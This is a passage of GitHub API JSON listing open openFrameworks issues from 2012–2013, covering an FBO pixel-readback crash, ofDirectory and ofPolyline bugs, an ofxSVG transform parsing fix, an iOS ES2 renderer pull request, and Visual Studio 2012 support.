:49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":11,"created_at":"2012-10-30T22:58:39Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi,\r\n I recently moved some of my 0071 source files into 0072 projects. For the most part everything works great but a major glitch has appeared in one of my projects. When the running app attempts to read and ofFbo into an ofPixels object, either the app crashes or else the ofPixels contains a heavily garbled version of the image.\r\n\r\nHere is my code:\r\n```c++\r\nvoid testApp::exportHiRes(){\r\nhiResFbo.begin();\r\n ofClear(0);\r\n if (imageAlpha != 0) {\r\n ofSetColor(imageAlpha);\r\n if (imageLoaded == true) image.draw(0, 0, image.width, image.height);\r\n if (videoLoaded == true) video.draw(0, 0, video.getWidth(), video.getHeight());\r\n }\r\n hiResFbo.end();\r\n \r\n ofPixels hiResPixels;\r\n hiResFbo.readToPixels(hiResPixels);\r\n ofFileDialogResult dialog_result = ofSystemSaveDialog(\"hi-res export\", \"export\");\r\n string filename = dialog_result.getPath() + \".png\";\r\n ofSaveImage(hiResPixels, filename);\r\n}\r\n```\r\n\r\nthe hiResFbo is allocated when the image or video is loaded just like this:\r\n```c++\r\nhiResFbo.allocate(image.width, image.height);\r\n```\r\nor\r\n```c++\r\nhiResFbo.allocate(video.getWidth(), video.getHeight());\r\n```\r\n-\r\n-\r\n-\r\nWhen the running app crashes, I get a EXC_BAD_ACCESS at his point\r\n```c++\r\nglGetTexImage(texData.textureTarget,0,texData.glType,GL_UNSIGNED_BYTE, pixels.getPixels());\r\n```\r\nin void ofTexture::readToPixels(ofPixels & pixels), which is called from \r\n```c++\r\ngetTextureReference(attachmentPoint).readToPixels(pixels);\r\n```\r\nin void ofFbo::readToPixels(ofPixels & pixels, int attachmentPoint) which is called by this line in my code:\r\n\r\n```c++\r\nhiResFbo.readToPixels(hiResPixels);\r\n```\r\n\r\nThe code is identical to the code in my 0071 project(where there is no prob).\r\n\r\nAny ideas?\r\nAnyone else have similar problems?\r\n\r\nThanks,\r\nJason"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1669","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1669/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1669/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1669/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1669","id":7947487,"number":1669,"title":"ofDirectory missing method implementations","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-10-29T18:53:49Z","updated_at":"2012-10-29T18:54:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofDirectory is missing implementations for canRead, canWrite, and canExecute. I haven't checked further, but there might be others missing as well ... worth double checking."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1668","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1668/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1668/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1668/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1668","id":7918919,"number":1668,"title":"ios-feature-es2","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":42,"created_at":"2012-10-28T12:29:31Z","updated_at":"2013-01-08T08:13:16Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1668","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1668.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1668.patch"},"body":"ES2 for iOS can now be enabled in main.h,\r\n\r\n`ofAppiPhoneWindow * window;`\r\n`window = new ofAppiPhoneWindow();`\r\n`window->enableES2Renderer();`\r\n\r\nofGLES2Renderer has been added.\r\nits still very bare bones but has enough features to run and test a simple ES2 example.\r\n- it loads a simple shader with position, color and modelViewProjection matrix.\r\n- screen perspective setup is working.\r\n- can draw OF shape primitives like ofRect, ofCircle etc...\r\n\r\nall the shader code inside ofGLES2Renderer should eventually be done using ofShader,\r\nbut atm ofShader doesn't support ES1/ES2.... once it does, it will be easy to swap out.\r\n\r\ntheres an iosES2RendererExample in devApps that tests the ES2 code.\r\n\r\nin response to issue #1178"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1664","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1664/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1664/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1664/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1664","id":7788068,"number":1664,"title":"ofPolyline - extra point added when using addVertex and bezierTo","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-10-23T05:36:16Z","updated_at":"2012-10-23T20:53:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"when creating a bezier curve,\r\nbezierTo() function requires that at least one point is added to ofPolyline before it can be used.\r\n\r\nso to kick things off, i add my first point\r\n`polyline.addVertex(0, 0);`\r\n\r\ni then add my bezier curve,\r\n`polyline.bezierTo(cx1, cy1, cx2, cy2, px2, py2);`\r\n\r\nwhen inspecting the resulting ofPolyline im seeing the first two points as identical - both (0, 0)\r\n\r\nthe second point is a duplicate.\r\nso the first bezier point should be ignored as it has already been added as a vertex."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1663","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1663/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1663/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1663/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1663","id":7787832,"number":1663,"title":"ofImages loaded via ofLoadImage don't draw","user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-10-23T05:13:20Z","updated_at":"2012-11-10T04:47:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"0072 Develop, OS X 10.8\r\n\r\nwhich is different than image.loadImage behavior\r\n\r\nTest case\r\n\r\n```\r\nofImage loadImage;\r\nofImage image;\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n\tstring imagePath = \"imageTest.jpg\";\r\n\t\r\n\tofLoadImage(loadImage, imagePath);\r\n\timage.loadImage(imagePath);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\tloadImage.draw(0, 0);//[warning] ofGLRenderer::draw(): texture is not allocated\r\n\timage.draw(0, 0);//draws\r\n}\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1660","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1660/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1660/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1660/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1660","id":7617524,"number":1660,"title":"ofxSVG transform attribute not read","user":{"login":"borg","id":203895,"avatar_url":"https://secure.gravatar.com/avatar/46312137eb0583790943eb4c17ea04cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"46312137eb0583790943eb4c17ea04cc","url":"https://api.github.com/users/borg","html_url":"https://github.com/borg","followers_url":"https://api.github.com/users/borg/followers","following_url":"https://api.github.com/users/borg/following","gists_url":"https://api.github.com/users/borg/gists{/gist_id}","starred_url":"https://api.github.com/users/borg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/borg/subscriptions","organizations_url":"https://api.github.com/users/borg/orgs","repos_url":"https://api.github.com/users/borg/repos","events_url":"https://api.github.com/users/borg/events{/privacy}","received_events_url":"https://api.github.com/users/borg/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"milestone":null,"comments":1,"created_at":"2012-10-16T08:48:13Z","updated_at":"2012-10-21T16:01:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"https://github.com/openframeworks/openFrameworks/blob/develop/addons/ofxSvg/libs/svgTiny/src/svgtiny.cpp\r\n\r\nofxSVG nodes tranforms are not read or parsed because the svgtiny_parse_transform_attributes function is looking for a child element instead of node attribute\r\n\r\nLine 1180\r\ntransform = (char *) node->getChildElement(\"transform\");\r\n\r\n\r\n\r\nFix: Change to transform = (char *) node->getAttribute(\"transform\").c_str();\r\n\r\nvoid svgtiny_parse_transform_attributes(Poco::XML::Element *node,\r\n\t\tstruct svgtiny_parse_state *state)\r\n{\r\n\tchar *transform;\r\n\r\n\t/* parse transform */\r\n transform = (char *) node->getAttribute(\"transform\").c_str();\r\n\r\n\tif (transform) {\r\n\t\tsvgtiny_parse_transform(transform, &state->ctm.a, &state->ctm.b,\r\n\t\t\t\t&state->ctm.c, &state->ctm.d,\r\n\t\t\t\t&state->ctm.e, &state->ctm.f);\r\n\t\t//xmlFree(transform);\r\n //free(transform);//this caused a crash now...not sure what's correct\r\n\t}\r\n}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1659","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1659/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1659/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1659/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1659","id":7609860,"number":1659,"title":"ios videoGrabberExample should build on simulator","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":0,"created_at":"2012-10-15T23:56:28Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"currently videoGrabberExample has compiler errors when run on the simulator.\r\nbe good if it could build on the simulator and just display a message that the example only runs on the device."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1653","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1653/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1653/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1653/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1653","id":7445554,"number":1653,"title":"make iOS examples universal","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":4,"created_at":"2012-10-09T12:15:14Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"all the iOS examples should work on both the iPhone and iPad."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1652","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1652/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1652/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1652/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1652","id":7436354,"number":1652,"title":"ofDirectory::isDirectory() throws exception for nonexistent dir","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-10-09T01:47:55Z","updated_at":"2012-10-09T02:34:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It looks like ofDirectory throws a Poco exception if you give it a path to a nonexistent dir in its constructor. The same might be true for ofFile ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1651","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1651/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1651/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1651/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1651","id":7430340,"number":1651,"title":"Visual Studio 2012 support","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":7,"created_at":"2012-10-08T20:22:26Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Make sure OF supports VS2012. @ofZach would like to see this in 0073.\r\nRelevant issue: #1544"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1648","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1648/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1648/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1648/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1648","id":7406719,"number":1648,"title":"Remove functions deprecated in 0073","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/